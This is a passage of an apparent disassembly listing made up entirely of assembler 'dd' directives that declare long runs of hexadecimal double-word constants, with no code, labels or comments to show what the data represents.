		dd 9B49EA3h, 44C60A91h,	7F69711Ah, 31005760h, 1FD1805Ch
		dd 10C2F216h, 9C607489h, 2CF10639h, 0CE447E4Ah,	0C4C1AC4Ah
		dd 0C87CED7Dh, 8097183Ch, 0E02CC9B6h, 10CDB4D3h, 20209982h
		dd 20700069h, 7CF08FEEh, 75005280h, 0A218C825h,	1343D1BFh
		dd 0E3F3E4F8h, 8BFC1230h, 4A103410h, 975B78B3h,	0CCF829ACh
		dd 1207DC94h, 7E51D1FFh, 0A080FB98h, 831EA717h,	0A2009A97h
		dd 0BD868D5h, 2571CDC5h, 0A8E628CAh, 1000855Eh,	194D7B84h
		dd 250C12D5h, 2100AAADh, 69E2CDB8h, 2CC05CEh, 0BC705F07h
		dd 96770070h, 744078D5h, 0C0993EE6h, 36C5FD8Fh,	1F57BD83h
		dd 0A518F9E0h, 0E6710A01h, 8D477E75h, 0A9A093h,	39B996D4h
		dd 0E4133F97h, 64A0C0B1h, 7C241E27h, 4BAE8152h,	62D59247h
		dd 65551008h, 3848502Dh, 4DF8843Dh, 0AB00DCB8h,	15DD664Ch
		dd 58A5719Ah, 2C88A427h, 19F8B805h, 0D1B060A8h,	14B5E613h
		dd 5E62F89Ch, 49083089h, 0B8F80E6Fh, 0A0187A60h, 1FEC9FDAh
		dd 8880CEBh, 9900ACF7h,	0CBD6EABDh, 710BC6Fh, 0C0D9972Fh
		dd 0B254A8AAh, 1370254Dh, 0DAFCh, 6C8E05C2h, 6D0A32A4h
		dd 3C500C98h, 2504E720h, 10664120h, 780920B0h, 259ECA4h
		dd 2DC9FECh, 1854866Ch,	8C02419Fh, 542DAFD1h, 2969E78h
		dd 3DB42475h, 71354F8h,	0F4B142C0h, 3085EF6h, 291418EAh
		dd 0D48D6F6h, 4396253Ch, 0E5113160h, 0DE5671h, 6549D106h
		dd 0D050684Bh, 78B60B78h, 71D2F901h, 0CE32B396h, 6419B0E4h
		dd 0C1D6E0D8h, 3622520Ch, 501D7190h, 0E64FE898h, 5DCFC010h
		dd 55B927Ch, 16070454h,	206CF5A0h, 0BB0724E8h, 0C5E9EEBAh
		dd 800F285h, 1BD0991Eh,	591A1E23h, 8B3DDD16h, 3C983632h
		dd 0FD095290h, 0C35F1D8Eh, 16F21A94h, 4080C82Ch, 208B01D4h
		dd 80B79638h, 19544C13h, 608C7DF6h, 2579B856h, 522CD6D5h
		dd 2EBBB8F2h, 0CCAE5020h, 5CEB7309h, 0C8706BC8h, 0C8A32105h
		dd 0B8B816A2h, 53DEF613h, 22E4B038h, 4694940h, 142DF972h
		dd 9D24C057h, 0F168B54h, 9C0DCFE9h, 3820119Ch, 6BC304B1h
		dd 0C47FFC5Eh, 0D7084234h, 30D04D20h, 0FE0A7116h, 8917301Fh
		dd 48E25852h, 76B5047Ah, 64F37Eh, 6D6B7A71h, 0F72848D0h
		dd 0ADA11900h, 3C14E7C3h, 32C99600h, 993B5533h,	776901A4h
		dd 0CE7ECC44h, 0F1BC2CF7h, 7C283273h, 19FFAB86h, 4BACFC12h
		dd 0F24C44C0h, 440C5D73h, 0E3D75B13h, 967E0B28h, 18D4F10Eh
		dd 4AE8E062h, 6F54DF02h
		dd 69284F7Eh, 1C29818h,	208C1471h, 84A10C1Ch, 0E4023F27h
		dd 79087DF2h, 25350078h, 9AAEC5B5h, 2BE4E9FCh, 88325B5Fh
		dd 0FD60A39Bh, 5C10A415h, 284A44Bh, 9190340h, 70670BAAh
		dd 0DD4A780Eh, 4A1700F4h, 0B734FC23h, 50D4D03h,	80BD5102h
		dd 7BC5BCh, 0D8840A0Eh,	0B9FD7120h, 0F32FDC9Ah,	0E2D8CBF4h
		dd 83E868AAh, 0C045F2E4h, 0C5519F89h, 7C005C88h, 24C75E0h
		dd 2DC7C30Ah, 544236A4h, 0D26ED882h, 60F2A441h,	0F01FCFD7h
		dd 1D127E71h, 5F0D94C8h, 20F88A18h, 3888949Ah, 18FAEC98h
		dd 0DD009554h, 96286E07h, 7DE15DC2h, 0A59900D8h, 0DAF18BE6h
		dd 711BB81Eh, 0A848BA9Fh, 1F16BBF5h, 0AD0666Ch,	63C40705h
		dd 0B6A07BA1h, 153EA41Fh, 78D55A28h, 710978ACh,	405C0FEFh
		dd 0A56E67E2h, 0FCB955B4h, 2625400h, 0D1DAE43Ch, 0F8D38A32h
		dd 89D8F93Dh, 800C752h,	90CF718Ch, 984E1490h, 0BB951090h
		dd 1C4904B2h, 0C4A6194Ah, 0A0081268h, 258C4DA4h, 1C8A167Dh
		dd 31DF12C4h, 7C4AD170h, 0CC412D4Ch, 0FF7212B0h, 212CA405h
		dd 0F50C6CB9h, 0A1E4314Fh, 0A07C73F4h, 5520426h, 0D7197110h
		dd 0A583D364h, 0F0138ED1h, 0BB90A4EDh, 2956F880h, 2702F898h
		dd 0BECB46F8h, 817079AFh, 4471CAE5h, 0E3488B2Dh, 581C807Fh
		dd 2EC200Eh, 75A7B5C2h,	0DC7443A4h, 0FE42AB1Dh,	54E10DB8h
		dd 0F2418F74h, 0A299EB80h, 2F06D76Fh, 595F7E07h, 52217CE0h
		dd 0A17DA8DAh, 4C111F74h, 0C008A0ECh, 0C4920F44h, 82484922h
		dd 0C8E67AE8h, 85516F00h, 472502E3h, 14B9017Ch,	0E643E952h
		dd 3008203Dh, 188E280Fh, 90E117D1h, 2B988000h, 8460FD45h
		dd 4CB1FAE0h, 0C45EB955h, 0E029AE0Ch, 5B00D9D9h, 234906D1h
		dd 0EC209E8h, 870F117h,	830993EAh, 3048DA8Bh, 1FB0CC64h
		dd 0C58D491h, 7546005Ch, 87FBB79Ah, 0C1B1001Eh,	3B5BCF96h
		dd 0C8AC07DBh, 0F380FC13h, 18C808Ch, 0F5C2C121h, 0FF72258Eh
		dd 1458C5EAh, 0F6569503h, 0D015FAD3h, 4CA9FC4Ch, 837F1C22h
		dd 2C76DBC2h, 50D588h, 7F7CD8E9h, 4F2523BFh, 6C4418C3h
		dd 98E4956Eh, 9547100h,	3FA440F8h, 69489E08h, 482688FBh
		dd 35FE901h, 68FED0FAh,	0BDF3B948h, 7F58FC90h, 7AB2D088h
		dd 7C23000Dh, 0C4EE5FA8h, 0B749D1EDh, 0A0990078h, 311B6A65h
		dd 0F8C50A96h, 1AD87E2Ah, 8862F9E6h, 2C301457h,	83E050EAh
		dd 58B2FD1Dh, 3CE110A3h, 48227EFEh, 39D84C20h, 0B18078C1h
		dd 0BEB5204h, 204C0A7Eh, 230CC084h, 0A28B8A71h,	0B57478F4h
		dd 0A4C1016h, 61027538h, 0C5A407EDh, 67C854EEh,	0B900E846h
		dd 573DF61Eh, 0B33130D1h, 1B8592B1h, 0D63B9C05h, 8C1F12C7h
		dd 266A6080h, 68DA7116h, 28E880AFh, 19800028h, 7E6D5FF7h
		dd 0D0B986C4h, 1B520881h, 4C70DD8Dh, 0BE197864h, 28C6A6ECh
		dd 4A86F8D4h, 2720E4BEh, 8DAC49B7h, 40B01E3Bh, 0ADF9D0E7h
		dd 0E89661DEh, 86267D05h, 4B098C32h, 5FFAE158h,	0CE991B00h
		dd 0B136900h, 0E77F0816h, 8D9B2E80h, 175C2C9Ch,	41D8E3DDh
		dd 2006398h, 0A45521D9h, 713C78ABh, 351578D5h, 0E61029CFh
		dd 2E1C4108h, 8B71E802h, 95E44804h, 5BAD4225h, 0A771B4C0h
		dd 6C2B9FBDh, 2094471h,	24A47977h, 564B444Ch, 0B6C2A4B4h
		dd 1E34A8D4h, 0C1A6AA67h, 6C3FCCBDh, 2877F57Eh,	0E8C404Ch
		dd 1C135016h, 0A458E8E2h, 6F6D231Fh, 9248B044h,	4B007152h
		dd 0E024D0D6h, 0B12E4Dh, 66AD6211h, 19309023h, 0D10AA306h
		dd 5035E9h, 0F67B7C40h,	17BBBC68h, 0C17F9F07h, 0D8B0BAA7h
		dd 506209F0h, 1E0ACEDh,	7C0E3DE7h, 0E4B0F1DEh, 745ED1BFh
		dd 54B26484h, 0EEBE0F78h, 14BEFC5Ch, 230908D8h,	98461A24h
		dd 2FDB753Bh, 0F4D03215h, 749A0E78h, 0F873F540h, 0B8B4B27Dh
		dd 0FC00671Eh, 6FBAAD61h, 682A5106h, 41000EE1h,	38C07FBCh
		dd 71185FC9h, 82089EEEh, 0D5B5FC9Eh, 25854054h,	9CA91B67h
		dd 0AC9E7612h, 705D0094h, 2C7E4DDAh, 0F9C4A0BFh, 0C2A438CCh
		dd 0E82880D8h, 0F80B58B8h, 0AAEC2729h, 0CCE097CCh, 495EC71h
		dd 31BB7658h, 39BE9738h, 660800C0h, 0B9CFE6Eh, 0BF8C00B5h
		dd 0AB9FA6D0h, 0B90398EAh, 69B5396h, 4C61DF95h,	0D9F03188h
		dd 143300ABh, 3EC99D93h, 0EA0780FBh, 0D009DE25h, 0E73442B0h
		dd 0FFCD0098h, 94E5A3F1h, 0D6005EBAh, 9570F2B5h, 1E19E7EBh
		dd 7229283h, 10EA7E11h,	0DF1CD67Bh, 21AA1300h, 0DD615EABh
		dd 7AF80Fh, 2A3D5949h, 0C2EEE468h, 0FB3E7BB8h, 0ED180B82h
		dd 47918005h, 0B04526h,	8D357CECh, 191F33FAh, 5231D97Fh
		dd 9F151024h, 0A38008B0h, 0F0E95482h, 0D900550Bh, 786831B8h
		dd 0DE41641h, 1DFBA305h, 98901320h, 0FE90F3F0h,	6D83CF00h
		dd 14D07782h, 3DF0DF6Ch, 0B5039F81h, 82F3F07Ah,	0D6D03338h
		dd 26A880B8h, 604BCFE6h, 0D3C2409Ah, 137DC07Dh,	1FD00E03h
		dd 30BE98h, 0BB96FA98h,	5C9A315h, 0A2B810C0h, 905DFE21h
		dd 0B7060D20h, 0C4388EE1h, 0AA0AF084h, 0D4A1A2EAh, 0F4225F00h
		dd 0F22892h, 19AC857Ch,	0FED76834h, 0B722F9C3h,	0FBD9033Fh
		dd 4038A2B4h, 0B1941006h, 0CB0D5EAh, 468EA349h,	0D0105818h
		dd 9900D78Bh, 6F6647C1h, 9D00C480h, 2D67493Eh, 0FE8F48h
		dd 30736DF6h, 0B7F21985h, 0E21D3EE8h, 0A286FBE3h, 0E860D40Bh
		dd 278D28D0h, 0D9F1129Ch, 0B80840CCh, 0A735AC13h, 6B460E07h
		dd 5340416Dh, 2A70242Bh, 30DC2619h, 1248A19Fh, 0DE020E6Eh
		dd 0FF412363h, 7CFA002Fh, 0C8DE7998h, 47DE1500h, 0A0EC68CFh
		dd 0EE129E94h, 7B1B0049h, 0FAF4F077h, 0F8008B28h, 760B3857h
		dd 3B220360h, 0BB8049B4h, 48B3C80Dh, 0C41ED094h, 0CEC0231Bh
		dd 21FE1ACFh, 0C8B4000Ch, 0A1EAAD9Bh, 1D078AF6h, 0D35A5D72h
		dd 8B1C3h, 0BF934548h, 81DACE25h, 0C0AE1000h, 3CA46A1Ah
		dd 1FAB757Eh, 39440C02h, 0DD30DC30h, 0D03925DFh, 0E5600008h
		dd 2B6A24C2h, 4A363A9Dh, 0B11C8B00h, 6FE365F7h,	58F30400h
		dd 250C4517h, 44690635h, 0A04E469Ch, 2839C003h,	10B61Bh
		dd 0B93A011h, 0B3833F60h, 96544900h, 8D3E3F3h, 6180F82Dh
		dd 18A470B7h, 2859D0D0h, 69453907h, 0FC40EF89h,	33600C92h
		dd 0D4E05723h, 2B0DA803h, 0A725B793h, 0C0815E63h, 5260483Bh
		dd 307828D8h, 65385069h, 10331AE2h, 80159859h, 78E770F3h
		dd 2D3B0144h, 259FDD69h, 4885149h, 0E880B18Bh, 7CF3BAB4h
		dd 0F3690C98h, 3B18C5C1h, 64AE630Ah, 1C18A472h,	0E8BA9B60h
		dd 0F69C185h, 0BCAFF0C6h, 911B0C20h, 5481837h, 3D393E97h
		dd 13342069h, 0E4A80AE3h, 88A8220Bh, 8950C686h,	690C5598h
		dd 0F9681E40h, 37F80A7Dh, 41984D39h, 87D479AEh,	0B1843E40h
		dd 0E1E3585Dh, 9D024B37h, 40DB4885h, 0A46D21E8h, 1D003ADDh
		dd 6E9C3B69h, 0DA40FCh,	77D3C610h, 33199A38h, 0F8EE7803h
		dd 3D2D3643h, 0B8874559h, 482FAE25h, 0C8873802h, 2848448Ah
		dd 2470168Bh, 81071C2h,	8C3E6433h, 28D92BAEh, 0F9182A74h
		dd 0A2E8C0C8h, 52BE1284h, 24607D3Bh, 0C60A2093h, 882260C8h
		dd 2860F37Ah, 0C51F6110h, 0C98400D9h, 5E346698h, 201C8C4Dh
		dd 7358AE3Fh, 3FD1891h,	60EAF4FBh, 0A824640Ch, 0BE002CCCh
		dd 87BB2869h, 3883FE76h, 20625EE1h, 284020CEh, 3090BE39h
		dd 449EFA28h, 25AB301h,	5625E819h, 61362880h, 0DA608828h
		dd 0C64081FDh, 69E89EEEh, 0F16BDBC0h, 390882E6h, 38044E2Dh
		dd 0B0491C28h, 0C0833E00h
		dd 5304F3A6h, 188620C0h, 7649CFCh, 33270DDEh, 0D66EB05Ah
		dd 0E312CED1h, 0C84A881Ah, 8401B8BEh, 0B007A5C0h, 8931B18Eh
		dd 13AF85A5h, 983314DCh, 60F35300h, 9E1A8B4Bh, 0B09C4F1Eh
		dd 0C0541B0Dh, 40693842h, 0F01A80CCh, 24DD0A79h, 9CCFE3h
		dd 7D3EF914h, 7303FAAAh, 0BEAE2247h, 0CB7000BFh, 0F1C64118h
		dd 40E3892h, 91DAE8h, 0E214E3DDh, 39DE043Eh, 82981B43h
		dd 8C493FC0h, 0DBC60089h, 55330785h, 86608BFEh,	4274915Eh
		dd 0A6AE713Dh, 0FE606482h, 290A8034h, 0CD0C5C6h, 0E7F05A31h
		dd 923FFF80h, 7D1A0104h, 0C878C268h, 0D89AFD86h, 0AF24F332h
		dd 0E0128874h, 0CF913000h, 0E107725h, 8AAECDD0h, 6C489814h
		dd 54A0E00h, 0F37D76F8h, 70C2B630h, 9A53C89Ch, 31C9080h
		dd 0F2FB693Bh, 58049593h, 12F4608Ah, 0D0302C90h, 3FBC32E1h
		dd 57021811h, 2C14061h,	7ED0E8Bh, 0C820BB4Eh, 0A3787DABh
		dd 97F32009h, 1D9800E0h, 0FE9C696h, 5C13DB88h, 0D9008E0Fh
		dd 63482ED1h, 94763300h, 5692B3CEh, 348858BEh, 42A1EB0Ch
		dd 4600CC61h, 9848051Fh, 54139C3Eh, 76C6001h, 0D7AB6BDFh
		dd 0CFF8E019h, 5F404160h, 9BE0282Dh, 0B2F319A8h, 811CE065h
		dd 0F199D190h, 3C6062EFh, 4AFF1F1Ah, 20E60E1Eh,	1B2BAC20h
		dd 24907AD0h, 0A2F61900h, 11E93944h, 0A0817D3Bh, 9989C8B8h
		dd 0C5740624h, 86092038h, 0CEE7D60h, 80C629C4h,	2369061Bh
		dd 0B788B9B8h, 8832EB00h, 0D3888899h, 118916CCh, 6009C467h
		dd 3485F7DDh, 0B2002E3h, 0C460BE1Fh, 74FA8531h,	54EDE226h
		dd 491D0A8h, 61F01B8Ch,	0D46D070Fh, 6A83E18Ah, 381090ECh
		dd 0A611E92Dh, 98716EB8h, 0E200AB4h, 33E06641h,	14F3F810h
		dd 7DD133C3h, 98C8EC54h, 0E3DC9913h, 0DD40741Dh, 0BE0C0B2Ah
		dd 4250A141h, 26ACF770h, 4128EC8Bh, 8990B260h, 2384FF68h
		dd 14CFD1FCh, 146939B8h, 28014805h, 3F8C5B0h, 1D43E944h
		dd 0B6520187h, 8DC3E0DCh, 0C65710CFh, 70C7867h,	15EF289h
		dd 8B10A3FAh, 51531403h, 9B50C188h, 58E3A8CCh, 448A0159h
		dd 6FE90424h, 21288034h, 81415AD1h, 3F60FAE1h, 198E6D31h
		dd 6822FFD6h, 460F5BCDh, 0E014D781h, 596600CBh,	8DC0B60Fh
		dd 683D8704h, 18D6F73h,	85AFE924h, 3C2010BFh, 1B7D4920h
		dd 704C483h, 0BB6176D9h, 81011E17h, 4E29B24Fh, 8BCFE31Ah
		dd 0B3C300Ch, 922D5FF5h, 38A83200h, 542F7D0Dh, 25400E4Fh
		dd 19810FEAh, 875DCFE9h, 5AD3012Ch, 375BD933h, 7160458h
		dd 0E30C6351h, 0C750CA7Ch, 0CBF8550Ch, 0B0C2F60h, 30840FC0h
		dd 0FF1090A3h, 34E61C77h, 0C195246Ch, 20EC5081h, 0AC1C6289h
		dd 660621CFh, 6D68152Bh, 4C731116h, 650002E3h, 0E96C713Dh
		dd 20C711F2h, 345CBA59h, 0EA810767h, 61D24234h,	80DD87E9h
		dd 3FB850B0h, 0E69806Dh, 0D46C7235h, 0E14EE9A3h, 94122050h
		dd 0E777F0h, 0AC7015Bh,	544D6858h, 0ED2D88E3h, 81C3803Eh
		dd 0D16A66EBh, 34587E28h, 0CF14605h, 74865AE2h,	190BAB03h
		dd 91D78957h, 1A925FFBh, 0FD24006Ch, 1463C38h, 8A105C6Fh
		dd 5B460C44h, 1E4F2058h, 0F1EA8014h, 84F432F5h,	6A98F89h
		dd 3C207323h, 8114148Bh, 0BA90ABC4h, 65102A95h,	0DD091D1Ah
		dd 5761E2CDh, 0FC0B063Fh, 0BD8656F8h, 0F778D731h, 89507E97h
		dd 3A541A05h, 6D802A5Fh, 523F3174h, 1500B3BAh, 0DAF75D62h
		dd 0C7D9B9E9h, 0FF68594Ch, 0EB3A4778h, 58C19EA8h, 56072B93h
		dd 0C695E689h, 9F8C091Fh, 57280A43h, 0FE246DF3h, 72D228A3h
		dd 92DE74F1h, 0D6F610ABh, 0FD1A54E9h, 0B7015F2Ah, 943F5D49h
		dd 28820023h, 574E7661h, 519D02BFh, 33E95219h, 6CB986A0h
		dd 35006A2Eh, 722AC981h, 0E3415DBFh, 0FCE1C1E0h, 2042902Dh
		dd 8B286228h, 3D789D24h, 0B89EE791h, 6DDC1F00h,	603E0C1h
		dd 0AE5B7625h, 0EB316C02h, 59CE2D50h, 646188BDh, 0D9FE092Dh
		dd 5AC3502Bh, 139AFB68h, 696364F6h, 0BBD9F70Ah,	0DE61ED7Eh
		dd 9A575452h, 8281BE2h,	0B86707B8h, 0CC89C4E4h,	0D56F9E0Fh
		dd 7A75EF3Ch, 5D1BA50Ah, 610F945Ah, 489D1C5Ch, 6F553968h
		dd 0D91DE7E0h, 0A181FE11h, 5818D416h, 3F6326D2h, 0E705068Dh
		dd 0DC2CE0h, 7F9CF7A9h,	0D11C539Fh, 79EC1EFh, 4087CFCCh
		dd 25D1A07Ah, 85A832C8h, 84A067A8h, 5EDC15Bh, 32C0E5E6h
		dd 171591C5h, 7F1907Bh,	786D1FC7h, 7D0AC931h, 0AA2EEC1Ch
		dd 297A8000h, 5D1C6F09h, 0CEF830E9h, 8BD988F8h,	801A4CF5h
		dd 87FDC13Bh, 2CC82830h, 5CE05947h, 990B8468h, 0B151804Eh
		dd 72E98006h, 0FED9F60Eh, 26C14FC9h, 0F84673E1h, 59CF3C88h
		dd 37B9C7A8h, 69D52B4Fh, 0BF99C888h, 0C97EEE9Fh, 0A8B33FB1h
		dd 680116C2h, 3C524B80h, 80CDA9BBh, 682BA73h, 4A0A0566h
		dd 9101C9E9h, 36E78977h, 0C8330D8h, 0B20562E9h,	0EBB5178h
		dd 1FE8A300h, 1430EF7h,	0DA6958C2h, 50B6788h, 4378685Bh
		dd 0F3CE9FBh, 0BA398F50h, 194E5A0Ah, 0BD00E076h, 81302E54h
		dd 7BB11DF6h, 3F4E453h,	231D603Ch, 34E91806h, 0F62AA03h
		dd 438D38E1h, 514A6C45h, 99FC68Eh, 779963E4h, 878F0283h
		dd 0E3F25CF4h, 0A9B90081h, 6F786A1Fh, 78FF102h,	4031061Ah
		dd 0B28CE9B2h, 0A442A0DFh, 0A002E012h, 1FD73C8Fh, 4057FD10h
		dd 558E242Ch, 34C45B4Eh, 0F81D466Eh, 6B16D83Ch,	2AD15A89h
		dd 82FEFDA4h, 64C19CAAh, 0E8F764CDh, 2C325964h,	0C0521E82h
		dd 809F33h, 0B551CFF6h,	59EE08F0h, 3A68660Eh, 46898C5Eh
		dd 281803B1h, 1395E9CEh, 0D5296A16h, 8B49CA1Eh,	8752382Ch
		dd 5743A10Ch, 0E90CAD66h, 0BD0A0D7Ah, 614B0A09h, 39D003Ah
		dd 66ED81h, 1638E10h, 6CE0E9EBh, 4D3CAEA9h, 5BC80230h
		dd 34C8FE00h, 3AB6A177h, 43695E02h, 5C7B34D3h, 0DCF0F9F0h
		dd 120E205Dh, 0BD1AE589h, 237944Eh, 0E95BDD01h,	804A4745h
		dd 28F95540h, 0B476EE26h, 0A90FDC00h, 0B831FF44h, 90FD8CC3h
		dd 55A0B04Fh, 7690E9AFh, 0D729121Dh, 5515AC04h,	16CA9698h
		dd 490C8244h, 7FA19C83h, 348BF501h, 18BA9E75h, 7C40BB07h
		dd 0FBA22094h, 0B180E833h, 0CB28243Bh, 0E75D0C0Ah, 8351AD2Ah
		dd 0DD15B9h, 7F6B287Ch,	0E6488169h, 3FEF0943h, 3CC90457h
		dd 65E2031Fh, 63970B44h, 363FFC2h, 0CA5B1D18h, 0E9D6013h
		dd 2CB90A24h, 2D7F7h, 0F35EF81h, 0E9172FDCh, 0B3228A98h
		dd 8B592438h, 0AEE909F9h, 7D41B11h, 314B8A5Eh, 14F7663Ah
		dd 0E9475F1Ch, 76E488D5h, 92CA224h, 37A10C90h, 1C4A0654h
		dd 8C4D1827h, 584D5097h, 1AA9BEDh, 47DFD931h, 5B11293h
		dd 6557AB8Ah, 5C3A51E5h, 164714D2h, 33C80CD6h, 6D9312Ah
		dd 54DD5C0Dh, 485A1B60h, 7901F959h, 686CCC56h, 4457629Eh
		dd 0F94126EFh, 6644BB04h, 54026C8Bh, 6B510558h,	1810583Ch
		dd 201022BEh, 0FE5900EAh, 0C0DAF6CAh, 801C04E2h, 0F2C338C2h
		dd 9D320FCh, 645BE9D5h,	1402BB25h, 513F195Fh, 84B5802Ch
		dd 0C05BDE89h, 0C81CEB82h, 4031167Eh, 665C1CD4h, 0A526064h
		dd 0B951E289h, 5C28C08Ah, 0E9264BF4h, 0F7834586h, 0A2CE87D6h
		dd 937563D1h, 460804F1h, 8103E6C1h, 150E040h, 0DEC9F330h
		dd 0C39A08BDh, 2FA0A32Ah, 76E75578h, 0C704BE98h, 29657DBDh
		dd 0C090782h, 4E181F24h, 0B00C7167h, 6A69281Eh,	497A2096h
		dd 0BD2B6824h, 3DBC15BDh, 39900086h, 14BB3EA4h,	157C2E04h
		dd 56801AF5h, 0E9462FB2h
		dd 50D8D554h, 12486842h, 7FBC200h, 92E93674h, 0F1EAF054h
		dd 7E2E6EB0h, 0AEA0A8CDh, 2D059609h, 243B8173h,	31D94D2Ah
		dd 6856BD42h, 320574F4h, 0BE124CCCh, 0F3010780h, 0A42EE95Eh
		dd 2698CF6h, 6856C56h, 9CCBFE5Dh, 9D25A3DDh, 0B71A1D72h
		dd 0DEE7CC25h, 0E802C138h, 602A3502h, 59C48228h, 44FDC419h
		dd 0A2CE4F58h, 0D3F541EAh, 6C95DF29h, 5F2ED9FCh, 0E6B0E964h
		dd 570B02EFh, 912474FFh, 0A84B5FD9h, 6627104Dh,	6F2F3322h
		dd 1A26730Ah, 1E1433E3h, 0ACB3177h, 92BD83DDh, 62619C0h
		dd 0F6040005h, 2DE91ADEh, 0EB539A10h, 2B181410h, 49CF1D67h
		dd 3D09521Eh, 8FFC28F9h, 4C6D5B59h, 67B50711h, 0D69E1B14h
		dd 60085010h, 6A3DAC1Ch, 918B9013h, 0E033141Bh,	0D063136h
		dd 79749CA3h, 10C65058h, 6658CA09h, 18861C50h, 4930A764h
		dd 0F54932E9h, 0AAC1291Fh, 50330CB2h, 0ECE03092h, 5438CE23h
		dd 0C8EF1150h, 8423374Ah, 4360C950h, 0EEF8139Eh, 4AA0209Dh
		dd 14A246D0h, 0C30949DCh, 4D24DA5h, 0F99477E0h,	0EAE109E1h
		dd 0CB591B24h, 0DB0868E5h, 153688CCh, 0B78B581Dh, 7CA71054h
		dd 35B0039h, 0F381D3F7h, 0CC3071EBh, 98D10C30h,	1E224F8h
		dd 465F0B7Ah, 2569C180h, 0EEEC0CFFh, 688FDD02h,	0C0F7893Ch
		dd 1CC1DFE7h, 6C4F02E7h, 83C78539h, 0E98381DEh,	15003C1Ch
		dd 9FC6C229h, 245EC54Bh, 64753417h, 68C5D040h, 0A0A627A1h
		dd 1CB35696h, 66E0D250h, 0E90588C4h, 7EE567A5h,	4736F83h
		dd 0F23FDDA7h, 0DB5C2996h, 0E6C49B13h, 0A09A03A2h, 6B4C5B23h
		dd 59CA8907h, 8A5BFA29h, 0D402571Eh, 6064EC19h,	13CEDB9h
		dd 922D3B4Fh, 649A1670h, 0FD482148h, 0FBED07B7h, 0CEC9365h
		dd 0A19E1331h, 0C5611290h, 0AC1981BCh, 660C8F39h, 0FA04B7F7h
		dd 598A2193h, 7FC8B010h, 0A52D2624h, 0E33126Bh,	62D6DAA3h
		dd 0A12B6279h, 50D38821h, 0BFE9D8CDh, 0A447D348h, 5807C1AFh
		dd 6340C968h, 0BF744B8Bh, 5F13C5B6h, 40D0292Bh,	964C6FA4h
		dd 0B9E97709h, 74B2E52h, 62080C3h, 0ECA0B551h, 0E97D12EBh
		dd 2DA153CFh, 0E90A51DEh, 867A0C1h, 21822E55h, 447372B1h
		dd 0F7908919h, 85685300h, 0E9659A4Ah, 9D29496h,	8B005055h
		dd 4B982C83h, 2E3C100h,	93E7EB81h, 89DA1296h, 0E93645D8h
		dd 18CD2ADh, 0A903A63h,	7E7D422Fh, 6625682Ch, 6F322882h
		dd 0DC0FE013h, 0EC900CCDh, 0F910C389h, 464F2A02h, 802DD801h
		dd 0C0835B07h, 33874D04h, 2C619313h, 83800C90h,	0CB098027h
		dd 0F3075AB0h, 89771B9Ah, 215BD910h, 615E9ECDh,	50CEA9E9h
		dd 53F2F78Fh, 0C839BE3Dh, 9F354FF2h, 64370D09h,	215C1210h
		dd 20CF2DF0h, 0CA831B26h, 0E87370C2h, 98E8E059h, 99D7EEF0h
		dd 0C2D21262h, 0FC8452C0h, 0FA290C1Dh, 85411296h, 30532650h
		dd 30AE535Ch, 0E180ACD1h, 6E4E721h, 59CC0B30h, 9A05E508h
		dd 0F1D0A4EBh, 7C07D03h, 0B072D8BAh, 0D5C23120h, 0EB406732h
		dd 484B7738h, 8D27DD76h, 0C01CEB27h, 15B02BEh, 0BA2EEF7Eh
		dd 0E39A7526h, 7E6CD284h, 0CE475DFEh, 96F0891Fh, 0BAD7C274h
		dd 121583E0h, 232CE6CDh, 0AD08F144h, 8D4C3B4Fh,	2E920526h
		dd 6599BF9Bh, 0D9561E08h, 3147342Ah, 0C705229Ah, 0B41647Dh
		dd 0DCD2F412h, 9CE74E3Ch, 45B6C89Bh, 55919302h,	814741B1h
		dd 13A1CFEDh, 57707BC2h, 76011717h, 0E9FF057Ch,	2DD492CCh
		dd 5650CFD2h, 94017D5h,	9AFDEC5Fh, 7F505D42h, 7805A004h
		dd 0E9C1A043h, 0E838F9h, 0C142D2F7h, 0E68103EAh, 10160BCBh
		dd 0D7010118h, 25E679E9h, 438311EAh, 104E6269h,	328130B3h
		dd 0EC3F7B49h, 4CB621F8h, 0BEE344EAh, 0BB5401F2h, 0D79D8C63h
		dd 9CA3D89h, 6C5F5457h,	0F198376Ah, 0C6165230h,	7103AEC4h
		dd 155F561h, 82AC7EBh, 58800124h, 875D7D11h, 0AA8AB91Ch
		dd 0AC83B399h, 15434DCh, 3C4FCAB4h, 0E0E5EF16h,	0E17789E5h
		dd 32D2249h, 843AF581h,	0C3462860h, 72868334h, 1487282Eh
		dd 0C32D0438h, 8941D85Eh, 0F48CA003h, 7728C22h,	0D5D8D1C7h
		dd 7989B2BDh, 8D05DAA9h, 206F46Bh, 58F4D3E0h, 0C3153464h
		dd 59A210C1h, 4FBA1080h, 92C6054h, 0F51CB2BAh, 0B9CEE8C6h
		dd 364E9929h, 9059CA4Ch, 3BE22062h, 5548D175h, 386F2620h
		dd 2E05F796h, 47067C23h, 7B158BCh, 722151E3h, 0E0D0B269h
		dd 70512FAh, 5B3BB53Ch,	1E7CC001h, 0C8006ADh, 60632F68h
		dd 9AA2FB29h, 10C080Dh,	258AE914h, 51D8C0A9h, 12B3B13Dh
		dd 5D944F76h, 6ECB9A0Ch, 0C1E639D1h, 361072Ch, 202B7E97h
		dd 0EBFA0C01h, 0F38978CAh, 352C8031h, 0E237E9B1h, 3C625B07h
		dd 80D26627h, 8054FFCDh, 0B373C780h, 28163398h,	79015BF8h
		dd 550668A0h, 0B43E6973h, 88E40E7Dh, 0ECC1D4F6h, 7C32E979h
		dd 0C32918E5h, 283354E8h, 0D886806h, 392741A1h,	0E281EB0Ch
		dd 26320011h, 8F1D31DBh, 96C4A1A6h, 0E82354EEh,	96CBCD81h
		dd 923D9C75h, 0D20ED550h, 1AD8367Ah, 5B0023B1h,	1FFB6852h
		dd 1420EB75h, 7C5E7BE2h, 0FFE905Dh, 48FE1293h, 639ECA80h
		dd 42606DE0h, 380DED0Eh, 52E97267h, 34582A7Bh, 31025F7Bh
		dd 93D035F0h, 0BD0C01BCh, 0B45D3334h, 0ED83630Fh, 29AA68B1h
		dd 3C2C32A7h, 90E57290h, 0B7520E9h, 5C2CF7B2h, 1D2E13C1h
		dd 0D830B027h, 222D5C5Bh, 772DD1D2h, 0A7397Fh, 3C497DFFh
		dd 0A257C2Dh, 0C529DFDCh, 6BD26ADh, 0C4FA27Fh, 9141C801h
		dd 2EDC14Ch, 0E9C4FB3Ch, 3C85949Eh, 0AA20E9CCh,	7681610h
		dd 85043413h, 1530056Bh, 0C487F383h, 0B9002118h, 71865C4Dh
		dd 0DA5105F4h, 169676A6h, 5BA52h, 0D3C01570h, 50D760DEh
		dd 58DAE34Eh, 1137E8Dh,	29E104D0h, 0FF77B430h, 4D594179h
